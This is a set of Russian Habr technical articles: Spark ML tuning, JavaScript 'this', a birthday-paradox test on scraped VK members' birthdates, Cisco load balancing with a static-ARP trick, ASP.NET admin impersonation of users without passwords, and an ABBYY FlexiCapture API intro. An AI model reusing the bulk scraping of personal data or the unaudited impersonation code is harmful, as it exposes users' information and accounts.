В GBTRegressor есть и другие параметры, например featureSubsetStrategy — стратегия подбора подмножества признаков, но здесь я рассматриваю сам механизм подбора параметров. С самими параметрами можно ознакомиться в [официальной документации алгоритма GBTRegressor для Spark](https://spark.apache.org/docs/3.3.0/api/python/reference/api/pyspark.ml.regression.GBTRegressor.html).
Значения параметров для подбора можно расширить, скажем, рассмотреть количество итераций не строго 10 или 30, а указать диапазон — [10, 11, 12…30]. Тем самым, возможно, повышаем точность итоговой модели. Но чем больше количество значений перебираемых параметров, тем больше времени займёт процесс самого перебора, особенно на большом объёме данных. Поэтому с количеством параметров и значениями для этих параметров нужно быть осторожным.
Объявлю CrossValidator, в котором укажу алгоритм, сетку параметров, способ оценивания алгоритма и количество фолдов:
```
crossval = CrossValidator(estimator=gbt,
estimatorParamMaps=paramGrid,
evaluator=evaluator,
numFolds=3)
```
Запустим кросс-валидацию и выведем среднюю метрику на каждую комбинацию параметров:
```
cvModel = crossval.fit(vector_feature_train)
cvModel.avgMetrics
```
Также очень важно посмотреть, при каких параметрах модели была получена лучшая метрика:
```
cvModel.bestModel.extractParamMap()
```
Отсюда можно увидеть, что MaxDepth = 4, а MaxIter = 30.
После получения лучших гиперпараметров уже можно обучить с ними модель, сохранить её и использовать в дальнейших предсказаниях, не затрачивая времени на переобучение модели каждый раз, когда требуется predict.
Теперь проверим точность при полученных гиперпараметрах на тестовой выборке:
```
gbt = GBTRegressor(featuresCol='FEATURES', labelCol='TARGET', maxDepth=4, maxIter=30)
gbt_model = gbt.fit(vector_feature_train)
pred = gbt_model.transform(vector_feature_test)
mae = evaluator. evaluate(pred)
print(mae)
```
Всё отлично, метрику удалось улучшить.
Что ещё?
--------
Естественно, это не лучший результат, и можно расширить возможные значения параметров, а также количество самих параметров, чтобы добиться максимально возможной точности. Напомню, что процесс feature engineering был мною пропущен. А ведь он тоже может сильно помочь в получении максимально возможного качества при построении модели. Но цель статьи — показать механизм подбора параметров в Spark ML — выполнена. Остальное — уже дело техники.
И последнее — не забудьте остановить spark-сессию!
Если есть вопросы, задавайте в комментариях. Будет отлично, если кто-то из читателей сможет поделиться собственными кейсами по теме статьи. | https://habr.com/ru/post/715678/ | null | ru | null |
# Ключевое слово this в JavaScript. Полное* руководство
*\* скорее всего, я что-нибудь да упустил, но уверен, в комментариях мне это подскажут*
Эту статью я пишу для своих личных нужд. Планируется, что она будет содержать в себе ответы на все вопросы, которые мне задают студенты на эту тему. Если она пригодится кому-то ещё — здорово.

Содержание.
1. [Введение](https://habr.com/ru/post/464163/#intro)
2. [Заблуждения о this](https://habr.com/ru/post/464163/#heresy)
3. [Как определить значение this](https://habr.com/ru/post/464163/#howto)
### Введение
Ключевое слово `this` — одна из наиболее запутывающих особенностей языка JavaScript. Пришедшее из Java, оно было призвано помочь в реализации ООП. Я какое-то время писал на Java, и должен сказать, что за это время у меня, может быть, один раз возникло сомнение, чему равняется `this` в конкретном месте кода. В JavaScript такие сомнения могут возникать каждый день — по крайней мере, до того момента, как выучишь несколько простых, но неочевидных правил.
### Заблуждения о `this`
Существует несколько распространённых заблуждений относительно этого ключевого слова. Я хочу их быстренько развеять перед тем, как перейти к сути.
**this — это лексический контекст.**
Такое впечатление часто возникает у новичков. Им кажется, что `this` — это объект, в котором, как свойства, хранятся все переменные в данной области видимости. Это заблуждение происходит из того, что в одном конкретном случае это, грубо говоря, так. Если мы находимся на самом верхнем уровне, то `this` равняется `window` (в случае обычного скрипта в браузере). А как мы знаем, все переменные, объявленные на верхнем уровне, доступны как свойства `window`.
В общем случае это неправда. Это легко проверить.
```
function test(){
const a = "Кто прочитал этот текст в консоли, тот скоро умрёт";
console.log(this.a);
}
test(); // не волнуйтесь, никто не умрёт
```
**this — это объект, которому принадлежит метод**
Опять же, это правда во многих конкретных случаях, но не всегда. Важно то, каким способом вызывается функция, а не то, является ли она свойством какого-то объекта. Это понятно даже из очень простой логики: предположим, одна и та же функция является свойством одновременно двух объектов.
```
const f = function(){
console.log(this);
}
const object1 = {
method: f
};
const object2 = {
method: f
};
```
Так какой же из этих объектов будет её this'ом?
Важно! Даже если объект создан с помощью классов ES6, это совершенно не гарантирует, что у его метода всегда будет нужный `this`. Пусть вас не вводит в заблуждение сходство с классами из «нормальных» языков.
**this — это джедайская техника, которую, изучив, нужно использовать везде**
По возможности лучше избегать употребления `this`. Единственный случай, когда оно полностью обосновано — это ООП. В прочих местах употребление `this` — это не то чтобы зло, но, как правило, излишество, запутывающее код. По сути `this` — это дополнительный, «минус первый» аргумент функции, который передаётся туда сложным, неочевидным новичку путём. С высокой вероятностью его можно заместить обычным аргументом, и станет только лучше.
### Как определить значение this
Здесь я постараюсь дать строгий и лаконичный алгоритм, с помощью которого даже неискушённый кодер сумеет понять, чему равняется `this` в его конкретном случае. Более многословные пояснения буду спрятаны под спойлеры, дабы не захламлять визуальное пространство.
1. **Мы находимся внутри функции?**
* **Да:** смотрим следующий пункт.
* **Нет:** `this` равен [глобальному объекту](https://developer.mozilla.org/en-US/docs/Glossary/Global_object).
**Комментарий**В коде верхнего уровня (не находящемся внутри никакой функции) `this` всегда ссылается на глобальный объект. В случае обычного скрипта в браузере это — объект `window`. Но вообще случаи бывают разные.
2. **Мы находимся внутри стрелочной функции?**
* **Да:** значение `this` такое же, как и в функции на уровень выше (т.е. содержащей данную). Вернитесь на предыдущий шаг и повторите алгоритм для неё. Если же функция не содержится ни в какой другой, `this` — глобальный объект.
* **Нет:** смотрим следующий пункт.
**Комментарий**Одна из основных особенностей стрелочных функций — это так называемый «лексический `this`». Это значит, что значение `this` в стрелочной функции определяется исключительно тем, где (в каком лексическом контексте) она была создана, и никак не зависит от того, как впоследствии она была вызвана. Иногда это не то, что нам нужно, но чаще всего это делает стрелочные функции очень удобными и предсказуемыми.
3. **Эта функция вызвана как конструктор (с помощью оператора new)?**
* **Да:** `this` ссылается на новый объект, находящийся «в процессе конструкции».
* **Нет:** смотрим следующий пункт.
**Комментарий**Пожалуй, стоит отдельно оговорить случай, когда речь идёт о конструкторе унаследованного ES6-класса. Тогда до вызова `super()` значения у `this` нет (обращение к нему вызовет ошибку), а после вызова `super()` он равняется новому объекту родительского класса.
4. **Эта функция создана с помощью метода [bind](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/Function/bind)?**
* **Да:** значение `this` равняется значению первого аргумента, который мы передали в метод `bind` при создании данной функции.
* **Нет:** смотрим следующий пункт.
**Комментарий**Метод `bind` создаёт копию функции, зафиксировав для неё `this` и, опционально, несколько первых аргументов. На самом деле при этом создаётся не просто копия функции, а, цитирую, «экзотический объект BoundFunction». Экзотичность его проявляется, в частности, в том, что повторным вызовом `bind` мы уже не сможем изменить `this`. Поэтому, строго говоря, ответ в этом пункте надо было сформулировать так: если да, то `this` равняется первому аргументу *первого вызова* `bind`, который привёл к созданию данной функции.
5. **Эта функция передана куда-то в качестве колбэка или обработчика?**
* **Да:** одному Господу известно, чему будет равен `this` при её вызове. Идите читать документацию по той штуке, которая её станет вызывать.
* **Нет:** смотрим следующий пункт.
**Комментарий**У не стрелочной и не связанной (bound) функции значение `this` зависит от обстоятельств, в которых она была вызвана. Если вы не вызываете её лично, а передаёте куда-то, то в качестве `this` может быть или не быть подставлено неизвестное вам значение.
Примеры:
```
`use strict`
document.addEventListener('keydown', function(){
console.log(this);
}); // в этом случае this === document. при срабатывании обработчиков DOM-событий this равняется currentTarget
[1, 2, 3].forEach(function(){
console.log(this);
}); // а в этом случае никакого специального значения не будет, будет undefined. почему? об этом в самом конце.
```
6. **Эта функция вызвана с помощью метода [apply](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) или [call](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call)?**
* **Да:** в таком случае `this` равняется первому аргументу, переданному соответствующему методу.
* **Нет:** смотрим следующий пункт.
**Комментарий**Ещё один способ явно задать `this`. Точнее, два. Однако в плане `this` разницы между `apply` и `call` нет никакой, разница только в том, как передаются остальные аргументы.
7. **Эта функция получена как значение свойства объекта и сразу же вызвана?**
* **Да:** `this` равняется вышеупомянутому объекту.
* **Нет:** смотрим следующий пункт.
**Комментарий**Собственно, из этого механизма (а также — из опыта работы с другими языками) растут ноги у убеждения, что "`this` — это объект, чей метод мы вызвали". Пожалуй, я просто напишу код.
```
'use strict';
const object1 = {
method: function(){
console.log(this);
}
}
const object2 = {
method: object1.method
}
object1.method(); // в консоли будет object1 - мы получили функцию как свойство этого объекта и немедленно вызвали
object1['method'](); // аналогичный результат. этот механизм не специфичен для точечной нотации
object2.method(); // в консоли будет object2 - метод "не помнит", в каком объекте он был создан, ему важно только у какого объекта он вызван
```
8. **Код выполняется в строгом режиме? ('use strict', ES6 модуль)**
* **Да:** `this` равняется `undefined`.
* **Нет:** `this` равен глобальному объекту.
**Комментарий**Если мы дошли до этого пункта, значит, `this` не задан ни одним из механизмов, которые позволяют его задать. Существуют различные заблуждения относительно того, как ещё может передаваться `this`. Например, на собеседованиях мне часто говорят вот такую вещь:
```
const obj = {
test: function(){
(function(){
console.log(this);
})(); //немедленно вызываемая функция внутри другой функции
}
}
obj.test(); // мне говорят, что в консоль выведется obj. это неправда
```
Или, как я уже говорил в секции «заблуждения», многие считают, что если функция является методом объекта, созданного с помощью классов ES6, то уж в ней-то this всегда будет равен этому объекту. Это тоже неправда.
Так вот, если мы дошли до этого пункта, значит, прочие обстоятельства вызова нашей функции не имеют значения. И всё сводится к тому, находимся мы в строгом режиме или нет.
Исторически в качестве «дефолтного» `this` в такие функции передавался глобальный объект. Позже этот подход был признан небезопасным. В ES5 появился строгий режим, исправляющий многие проблемы более ранних версий ECMAScript. Он включается директивой 'use strict' в начале файла или функции. В таком режиме «дефолтное» значение `this` — это `undefined`.
В ES6 модулях строгий режим включен по умолчанию.
Также существуют другие механизмы включения строгого режима, например, в NodeJS строгий режим для всех файлов можно включить флагом `--use-strict`.
Вот, в общем-то, и всё. Определение значения `this`, конечно, менее просто, чем хотелось бы, но и не так сложно, как могло показаться. Выучите этот алгоритм, как таблицу умножения — и у вас больше никогда не возникнет проблем с `this`. Такие дела.
P.S. Пользователь [Aingis](https://habr.com/ru/users/aingis/) подсказал, что в случае использования конструкции [with](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with) объект, переданный в неё в качестве контекста, подменяет собой глобальный объект. Пожалуй, я не стану вносить это в свой классификатор, потому что шанс встретить `with` в 2019+ году довольно мал. Но в любом случае это интересный момент.
P.P.S. Пользователь [rqrqrqrq](https://habr.com/ru/users/rqrqrqrq/) подсказал, что у `new` выше приоритет, чем у `bind`. Соответствующая правка в классификатор уже внесена. Спасибо! | https://habr.com/ru/post/464163/ | null | ru | null |
# Парадокс дней рождений на данных ВКонтакте
Привет!
Я решил проверить парадокс дней рождений на данных, которые доступны из ВК.
#### Что такое парадокс дней рождений?
Попробуйте ответить на вопрос: *Какое количество людей в комнате необходимо, чтобы у двух людей были одинаковые дни рождения с вероятностью 0.5?* (дата и месяц). Парадокс дней рождений отвечает на этот вопрос.
Для того, чтобы решить задачу стоит выделить несколько предпосылок:
1. В модели не будет 29 февраля => в модели 365 дней в году
2. Каждый из 365 дней равновероятен.
Конечно, это не совсем реалистично, что дни рождения равновероятны — есть сезонные эффекты, влияющие на даты рождения детей, думаю вы сами можете догадаться какие…
Большинство людей интуитивно отвечают на вопрос задачи: 180. Выглядит логично, 180 человек необходимо для того, чтобы иметь вероятность 0.5 одинаковых дней рождений(всего же 365 дней). Примерна такая интуиция у всех, кто никогда не слышал про парадокс дней рождений. Правильный ответ на самом деле сильно меньше 180, и даже 150, и даже 100: 23.
Необходим как минимум 1 совпадающий день рождения — поэтому я могу найти вероятность, отсутствия совпадающих дней рождений: 
.
Идея такая: я беру первого человека и запоминаю его день рождения, далее второго и вычисляю вероятность, что его день рождения не совпадает с днем рождения первого; далее третьего и его вычисляю вероятность, что его день рождение не совпадет с днями рождения первого и второго.
Решая уравнение, получается, что необходимо 23 человека и вероятность совпадающих дней рождений будет 0.5073, при 100 людях, вероятность равна 0.9999.
#### Посмотрим парадокс на данных ВК?
В теории у нас при 23 людях вероятность совпадающих дней рождений 0.5073, при 50 людях 0.97, а при 100 0.99. Проверим это через VK API.
1. Выбираю большое сообщество в ВК. Я решил взять группу MDK во Вконтакте…
В начале я создаю csv файл с колонками, которые мне необходимы.
```
with open('vk_data.csv', 'w') as new_file:
# csv
fieldnames = ['id', 'bdate', 'bmonth', 'byear', 'dandm']
csv_writer = csv.DictWriter(new_file, fieldnames=fieldnames, delimiter=',')
csv_writer.writeheader()
newDict = dict()
```
Логинюсь в ВК через API и задаю необходимый мне паблик
```
vk_session = vk_api.VkApi('username', 'password')
vk_session.auth()
vk = vk_session.get_api()
vk_group = vk.groups.getMembers(group_id = 'mudakoff', fields = 'bdate')
```
Начинаем парсить ВКонтакте, их API позволяет запарсить только 1000 юзеров, поэтому создаю цикл.
```
for i in range(0, 20):
vk_group = vk.groups.getMembers(group_id = 'mudakoff', offset = 1000 * i, fields = 'bdate')
for k in range(0, 1000):
try:
new_file.write(str(vk_group['items'][k]["id"]) + ',' + str(vk_group['items'][k]["bdate"]).replace('.', ','))
new_file.write('\n')
except:
pass
```
В теории мы предполагали, что дни рождения равновероятны, а что происходит на практике? Построю гистограмму дней рождений.

Дни рождения по месяцам не являются равновероятнотными событиями, что в целом достаточно логично — это всего лишь предпосылка для решения проблемы дней рождений. Очевидно, что будут наблюдаться различные сезонные являения, для различных локаций. Почему-то июль наиболее популярный месяц для дня рождения подписчиков МДК.
Эмпирически оценю вероятность того, что в группе из 50 произвольных людей найдутся хотя бы двое с одинаковым днём рождения. Для этого я написал цикл, в ходе которого из таблички происходит подвыборка из 50 строк. Для этих 50 строк внутри условия я проверил совпадение дней рождений. Если совпало, то я запомнил это в переменную счётчик, которую я впоследствии, чтобы получить вероятность, поделю на длину цикла.
```
fifty = df["dandm"].sample(n = 50)
for i in range(0, 1000):
fifty = df["dandm"].sample(n = 50)
for j in fifty.duplicated():
if j == True:
counter = counter + 1
break
print('Вероятность:', counter / 1000)
```
Вероятность получается в районе 0.97, что совпадает с теоретическими данными.
#### Вывод
Интересно было посмотреть, как теория соотносится с эмпирикой и в данном случае данные подтверждают теорию. Стоит отметить, что результат репрезентативен, так как выборка достаточно большая — 20000 человек.
#### Ресурсы
1. Harvard University. Birthday Problem, Properties of Probability | Statistics 110. URL: [www.youtube.com/watch?v=LZ5Wergp\_PA&t=150s](https://www.youtube.com/watch?v=LZ5Wergp_PA&t=150s). Accessed: 08.07.2020
2. Birthday Problem. URL: [en.wikipedia.org/wiki/Birthday\_problem](https://en.wikipedia.org/wiki/Birthday_problem). Accessed: 08.07.2020> | https://habr.com/ru/post/510428/ | null | ru | null |
# Cisco Unequal Load Balancing с двумя провайдерами, NAT и статическими шлюзами
Тема, возможно, избитая. Но решения задачи при указанных исходных данных не нашёл. Ткните носом, если не прав. Пришлось приложить немного хитрости ;-).
#### Постановка задачи
В одном городе N-ке живёт небольшая сеть с двумя провайдерами подключёнными к маршрутизатору Cisco. IOS 12.2(33). После очередного расширения каналов у "*First*" провайдера берём 8 Мбит, у "*Second*" 4 Мбита.
Динамической маршрутизации с провайдерами нет и не предвидится.
Пользователи NAT-ятся на провайдеро-зависимые IP адреса.
Необходимо прогружать максимально оба канала.

##### Исходная конфигурация
`interface FastEthernet0/0
ip address 192.168.1.2 255.255.255.252
interface FastEthernet1/0
ip address 192.168.2.2 255.255.255.252
ip route 0.0.0.0 0.0.0.0 192.168.1.1
ip route 0.0.0.0 0.0.0.0 192.168.2.1
route-map FirstNAT permit 10
match interface FastEthernet0/0
route-map SecondNAT permit 10
match interface FastEthernet1/0
ip nat source route-map FirstNAT interface FastEthernet0/0 overload
ip nat source route-map SecondNAT interface FastEthernet1/0 overload`
#### Поиски решения
Всем, кому не нравиться эта часть, прошу сразу к решению.
Имея два равноправных шлюза трафик распределяется пополам между провайдерами. При плотном трафике (на *Second* «полочка» в 4 Мбита) загрузка *First* выше 5 Мбит не поднимается.
Прочитав полезные документики с cisco.com:
— How Does Load Balancing Work?
— How Does Unequal Cost Path Load Balancing (Variance) Work in IGRP and EIGRP?
— Troubleshooting Load Balancing Over Parallel Links Using Cisco Express Forwarding
Находим интересную команду **show ip cef {prefix} internal**.
`Router# sh ip cef 0.0.0.0 0.0.0.0 internal
!----cut----
Load distribution: 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 (refcount 1)
Hash OK Interface Address Packets
1 Y FastEthernet1/0 192.168.2.1 0
2 Y FastEthernet0/0 192.168.1.1 0
3 Y FastEthernet1/0 192.168.2.1 0
4 Y FastEthernet0/0 192.168.1.1 0
5 Y FastEthernet1/0 192.168.2.1 0
6 Y FastEthernet0/0 192.168.1.1 0
7 Y FastEthernet1/0 192.168.2.1 0
8 Y FastEthernet0/0 192.168.1.1 0
9 Y FastEthernet1/0 192.168.2.1 0
10 Y FastEthernet0/0 192.168.1.1 0
11 Y FastEthernet1/0 192.168.2.1 0
12 Y FastEthernet0/0 192.168.1.1 0
13 Y FastEthernet1/0 192.168.2.1 0
14 Y FastEthernet0/0 192.168.1.1 0
15 Y FastEthernet1/0 192.168.2.1 0
16 Y FastEthernet0/0 192.168.1.1 0
!----cut----`
Видно что в CEF существует 16 bucket (мест/слотов/ведер) которые заполняются маршрутами в указанную сеть из таблицы маршрутизации (RIB).
Вот он инструмент с помощью которого можно управлять пропорцией **исходящего** трафика. А при использовании NAT на адреса провайдера, и **входящего**!
В нашей задаче пропорция трафика должна быть 2:1. Надо чтобы на *First* провайдера указывало два маршрута, а на *Second* — один. Необходимо, всего то, прописать фиктивный маршрут на *First* провайдера.
Подсказка явилась здесь
[blog.ioshints.info/2007/02/unequal-load-split-with-static-routes.html](http://blog.ioshints.info/2007/02/unequal-load-split-with-static-routes.html)
В подсказке провайдеры подключены через Serial интерфейс и один маршрут прописан через IP адрес, второй через интерфейс. В варианте с FastEthernet такой фокус не проходит, сеть не point-to-point и нужен next-hop IP.
Пробовал обмануть. Прописал default маршрут на несуществующий адрес, плюс добавил маршрут к этому адресу через *First* провайдера:
`ip route 0.0.0.0 0.0.0.0 172.16.1.1
ip route 172.16.1.1 255.255.255.255 192.168.1.1`
Фокус не прошёл, cef разобрался по рекурсии, что посылать будет всё равно на 192.168.1.1. Картина не изменилась.
#### Решение
Итак, по одному маршруту в сторону каждого провайдера уже имеется. Необходимо добавить ещё один фиктивный маршрут в сторону *First* провайдера.
Для этого настраиваем фиктивную подсеть на интерфейсе *First* провайдера и фиктивный шлюз:
`interface FastEthernet 0/0
ip address 172.16.1.2 255.255.255.252 secondary
ip route 0.0.0.0 0.0.0.0 172.16.1.1`
Маршрут появится, но при этом трафик повалиться в никуда, так как у *First* провайдера не существует адреса 172.16.1.1.
Теперь, **внимание**, житейская хитрость ;-). Смотрим реальный MAC адрес шлюза первого провайдера и прописываем его в статическую запись ARP.
`arp 172.16.1.1 XXXX.XXXX.XXXX arpa`
Всё, фокус закончен. Маршрут фиктивный, но реальный трафик уходит на реального *First* провайдера.
`Router# sh ip cef 0.0.0.0 0.0.0.0 internal
!----cut----
Load distribution: 0 1 2 0 1 2 0 1 2 0 1 2 0 1 2 (refcount 1)
Hash OK Interface Address Packets
1 Y FastEthernet1/0 192.168.2.1 0
2 Y FastEthernet0/0 192.168.1.1 0
3 Y FastEthernet0/0 172.16.1.1 0
4 Y FastEthernet1/0 192.168.2.1 0
5 Y FastEthernet0/0 192.168.1.1 0
6 Y FastEthernet0/0 172.16.1.1 0
7 Y FastEthernet1/0 192.168.2.1 0
8 Y FastEthernet0/0 192.168.1.1 0
9 Y FastEthernet0/0 172.16.1.1 0
10 Y FastEthernet1/0 192.168.2.1 0
11 Y FastEthernet0/0 192.168.1.1 0
12 Y FastEthernet0/0 172.16.1.1 0
13 Y FastEthernet1/0 192.168.2.1 0
14 Y FastEthernet0/0 192.168.1.1 0
15 Y FastEthernet0/0 172.16.1.1 0
!----cut----`
##### Тот же смысл, но без хитростей
Договоритесь с *First* провайдером о secondary адресах. Тогда остаётся прописать два маршрута на два провайдерских IP адреса.
#### Выводы
Таким образом можно управлять пропорцией входящего/исходящего трафика в самом рядовом варианте подключения к нескольким провайдерам. И не надо BGP, AS, PI адресов.
Минусы тоже очевидны:
— вариантов пропрорций немного.
— невозможно управлять трафиком соединений, устанавливаемых из Интернета.
— при смене MAC на шлюзе провайдера, получаем blackhole.
P.S. Уже позже нашёл статейку [blog.ronix.net.ua/2008/10/ciso.html](http://blog.ronix.net.ua/2008/10/ciso.html) с тем же смыслом, но без хитрости с ARP записью.
**UPD**
Хаброюзер [Fedia](https://geektimes.ru/users/fedia/) верно подметил, что я ошибся. Этим способом можно управлять количеством сессий (TCP в основном) в сторону каждого провайдера, а не входящим трафиком.
**Fedia**:
А на счёт того, что cef при двух маршрутах будет делить трафик пополам — это не совсем верно. Он будет делить инициализацию сессий (или по пакетам, или по назначению, или по паре «источник-назначени», даже по портам делить может), но не само кол-во трафика. Т.е. может статься (по дефолту он делит НЕ по пакетам), что сессий поровну, а трафика на одном провайдере в 2-3 раза больше.
Но у меня пользователей много и каждый потребляет мало. Так что пропорция по количеству сессий, в моём случае, практически соответствует пропроции входящего трафика. | https://habr.com/ru/post/77383/ | null | ru | null |
# Логинимся на сайт под чужим аккаунтом не имея пароля

День добрый, сегодня я расскажу про довольно полезный прием при поддержке крупных сайтов-сервисов. А именно, возможность зайти на ваш сайт под обычным пользователем, не имея пароля (вы же не храните пароли в БД открытым текстом верно?).
#### Введение
Предположим у вас уже есть готовый, запущенный, живущий бурной жизнью веб сайт. И так уж сложилось что для разных пользователей он выглядит и работает по разному, например в зависимости от ролей, политик безопасности и прочей бизнес логики. Для простоты примера пусть будет интернет банкинг.
#### Задача
Дать возможность администраторам или, например операторам тех-поддержки как-бы войти под учетной записью конкретного пользователя. Например, намного проще объяснить дозвонившемуся в колл-центр пользователю решение проблемы видя сайт его глазами.
#### Решение
Для примера я возьму ASP.NET MVC, хотя поклонникам долларовых знаков и драгоценных камней реализовать что-то похожее на любимом фреймворке не должно составить труда. За код сильно не бейте – писался четыре года назад как пример.
В мире Windows Authentication есть уже готовое красивое решение под названием [Impersonation](http://msdn.microsoft.com/en-us/library/134ec8tc(v=vs.100).aspx). Т.е. когда один пользователь как-бы прикидывается другим, получая его права и возможность выполнять действия от его имени.
Все хорошо, вот только наш гипотетический интернет банкинг использует Forms Authentication т.е. в web.config написано что-то типа
Для начала добавим в AccountController.cs (создается с дефолтным проектом ASP.NET MVC) следующий метод:
```
public ActionResult Impersonate(string user)
{
//checking if user is logged in
if (Request.IsAuthenticated)
{
//and checking if he is a super user
if (Roles.IsUserInRole("admins"))
{
//saving current auth cookie for a later use
HttpCookie cookie = Request.Cookies[FormsAuthentication.FormsCookieName];
cookie.Name = "__" + cookie.Name;
Response.Cookies.Add(cookie);
//logging out for current user
FormsAuthentication.SignOut();
//making new user logged in without a password
FormsAuthentication.SetAuthCookie(user, true);
//redirect to some page here
return RedirectToAction("Index", "Home");
}
}
//currently logged user has no rights to impersonate
throw new SecurityException();
}
```
Вся суть в том, что бы залогинить текущего пользователя под другим именем, проверив входит ли он в роль Администраторов (или например «Операторы тех-поддержки 3го уровня») не проверяя правильность ввода пароля. Для этого мы выдадим ему новую соответствующую печеньку авторизации, а старую переименуем, что бы можно было вернуться в режим администратора без повторного ввода пароля.
По шагам это будет выглядеть так:
1. Проверяем залогинен ли пользователь
2. Проверяем достаточно ли у него прав, что бы прикинуться кем-то другим
3. Сохраняем текущую печенюху сессии под другим именем
4. Создаем новую для другого пользователя, точно также как мы это делаем при обычном логине после проверки пароля (т.е. после Membership.ValidateUser())
5. Редиректимся например на главную страницу
В итоге браузер получит уже две печеньки а сервер будет воспринимать текущую сессию как сессию обычного пользователя.
Для того что бы вызвать только что созданный метод нам понадобиться новая страница со списком пользователей. Полный листинг приводить не буду, думаю, идея понятна:
```
using (Html.BeginForm("Impersonate", "Account"))
{
var users = Membership.GetAllUsers(); // or Roles.GetUsersInRole(...)
foreach (var userName in users)
{
...
}
}
```
Итого после выбора необходимого пользователя администратор временно превращается в обычного пользователя.
Осталось только добавить возможность вернуться в режим администратора. Внешний вид сайта изменять мы не хотим добавляя новые элементы, поэтому воспользуемся уже существующей кнопкой выхода. Для этого немного расширим существующий метод выхода (в AccountController.cs):
```
public ActionResult LogOff()
{
//checking if we impersonated already
HttpCookie cookie = Request.Cookies["__" + FormsAuthentication.FormsCookieName];
if (null != cookie)
{
//logging off
FormsAuthentication.SignOut();
//restoring original auth cookie of a super user
cookie.Name = FormsAuthentication.FormsCookieName;
Response.Cookies.Add(cookie);
//removing previosly saved auth cookie of a super user so we can logout normaly next time
HttpCookie expired = new HttpCookie("__" + FormsAuthentication.FormsCookieName);
expired.Expires = DateTime.Now.AddDays(-1);
Response.Cookies.Add(expired);
}
else
{
//logging off in a ordinary fashion
FormsAuth.SignOut();
}
//redirecting
return RedirectToAction("Index", "Home");
}
```
В начале проверяем существует ли заранее сохраненная печенька администратора. Если да то переименовываем ее обратно, а про обычного пользователя забываем. В итоге при нажатии кнопки выхода, администратор вернется в свое привычное окружение. А нажав на кнопку выхода еще раз, он разлогиниться полностью.
#### Конечный результат
Логинимся на сайт администратором

Выбираем пользователя, которым мы хотим стать

Сайт думает что мы обычный пользователь

Если посмотреть на сохраненные печеньки в браузере, можно увидеть оба токена

После нажатия на Log Off, возвращаемся к режиму администратора

Соответственно печеньки восстановлены

Если нажать Log Off еще раз, выходим полностью

#### Заключение
Итого с минимум изменений мы добавили возможность на время прикинуться другим пользователем. Причем, даже не меняя внешний вид и логику сайта. Для остальной части нашего веб-приложения такие манипуляции абсолютно прозрачны и не должны ничего поломать.
Осталось только продумать логику кому кем можно прикидываться. Что бы, например оператор тех поддержки не мог войти как администратор.
Интересно узнать, может кто-то уже реализовывал похожую схему другими способами? Отписывайтесь в комментариях. | https://habr.com/ru/post/181592/ | null | ru | null |
# ABBYY FlexiCapture Engine 9.0: как встроить технологию DataCapture в приложение (взгляд программиста)
Не так давно мои коллеги [рассказывали](http://habrahabr.ru/company/abbyy/blog/118089/) читателям Хабра о новой версии продукта для разработчиков ABBYY FlexiCapture Engine 9.0, который позволяет нашим пользователям встраивать технологию извлечения данных из изображений в свои программные решения.
В упомянутой статье мы рассказали о том, что это за технология и что она позволяет делать, похвалились новым API и примерами. В этой статье я хотел бы дополнить картину и показать, как выглядит работа с продуктом с точки зрения программиста: дать возможность «пощупать» API и рассказать о некоторых «вкусностях», которые позволяют легко и естественно интегрировать наше изделие в большинство типов приложений (настольных, серверных, облачных и т.п.).
Начнём с базового сценария извлечения данных из изображений с использованием FlexiCapture Engine 9.0 (такой сценарий хорошо подходит для простого настольного приложения), а затем обсудим, что и как в этом сценарии можно менять, чтобы приспособить его к требованиям разрабатываемого приложения.
В рекламных материалах это выглядит так:

В коде это выглядит так (читайте комментарии):
> ````
> [C#]
> // Загрузим FCEngine в текущий процесс
> IEngineLoader engineLoader = new FCEngine.InprocLoader();
> IEngine engine = engineLoader.Load( serialNumber, "" );
>
> // Создадим экземпляр процессора и сконфигурируем его одним или более определениями документов
> IFlexiCaptureProcessor processor = engine.CreateFlexiCaptureProcessor();
> processor.AddDocumentDefinitionFile( sampleFolder + "Invoice_eng.fcdot" );
>
> // Добавим файлы изображений во внутреннюю очередь на обработку
> processor.AddImageFile( sampleFolder + "Invoices_1.tif" );
> processor.AddImageFile( sampleFolder + "Invoices_2.tif" );
>
> // Запустим обработку и получим первый (и в нашем случае единственный) результирующий документ
> IDocument document = processor.RecognizeNextDocument();
> assert( document != null ); // Не было ошибок обработки
> assert( document.DocumentDefinition != null ); // Тип документа пределён и данные извлечены
> assert( document.Pages.Count == 2 ); // Оба изображения вошли в этот документ
>
> // Возьмём извлечённые данные и используем их по назначению
> string invoiceNumber = documents.Sections[0].Fields[0].Value.AsString; // Для простоты доступ по индексам
> ...
> ````
Теперь подробнее опишем отдельные шаги этого сценария, примерно соответствующие откомментированным кускам в коде:
#### Загрузка FlexiCapture Engine
Загрузка объекта Engine-а соответствует загрузке и инициализации исполняемых модулей и выполняется, как правило, один раз при старте или при первом использовании.
Существует несколько вариантов загрузки. Можно грузить Engine непосредственно в основной процесс, как в приведённом примере, что удобно для простых настольных приложений. Можно также для повышения надёжности грузить Engine в отдельный рабочий процесс, что рекомендуется для серверных решений. При загрузке в отдельный процесс есть возможность управлять приоритетом и временем жизни этого процесса. Можно также создать пул из рабочих процессов, в котором потокобезопасные экземпляры Engine-а работают параллельно и полностью независимо друг от друга и периодически recycle-ятся. (В состав примеров включена готовая реализация такого пула.)
Дальнейшее использование Engine-а практически не зависит от способа загрузки, поэтому один и тот же код может переиспользоваться, а способ загрузки может быть легко реализуемой опцией.
#### Создание и настройка процессора
FlexiCaptureProcessor – это легковесный конфигурируемый обработчик, который получает на вход изображения и преобразует их в документы с данными на выходе. Число таких объектов в одном процессе ограничено только доступными ресурсами. Процессоры можно создавать каждый раз перед использованием или кэшировать (в этом случае экономим на времени загрузки определений документов).
Для работы процессор требует задать набор *определений документов*. Определения документов можно загружать готовыми из файлов на диске, как в примере, либо из потока байтов в памяти, что позволяет хранить эти объекты в произвольном хранилище (ресурсы приложения, БД, разделяемое сетевое хранилище и т.п.). Можно также создавать определения документов на лету с нуля либо на основе «гибкого» или «жёсткого» описания геометрической разметки. (Как правило, рекомендуется использовать готовые шаблоны, созданные и отлаженные с помощью визуальных инструментов FlexiCapture. Программное создание или модификация определений может быть востребована, например, для упрощения сопровождения в случае, когда требуется работать с семействами похожих бланков, геометрия которых меняется из года в год, а семантика данных более-менее сохраняется).
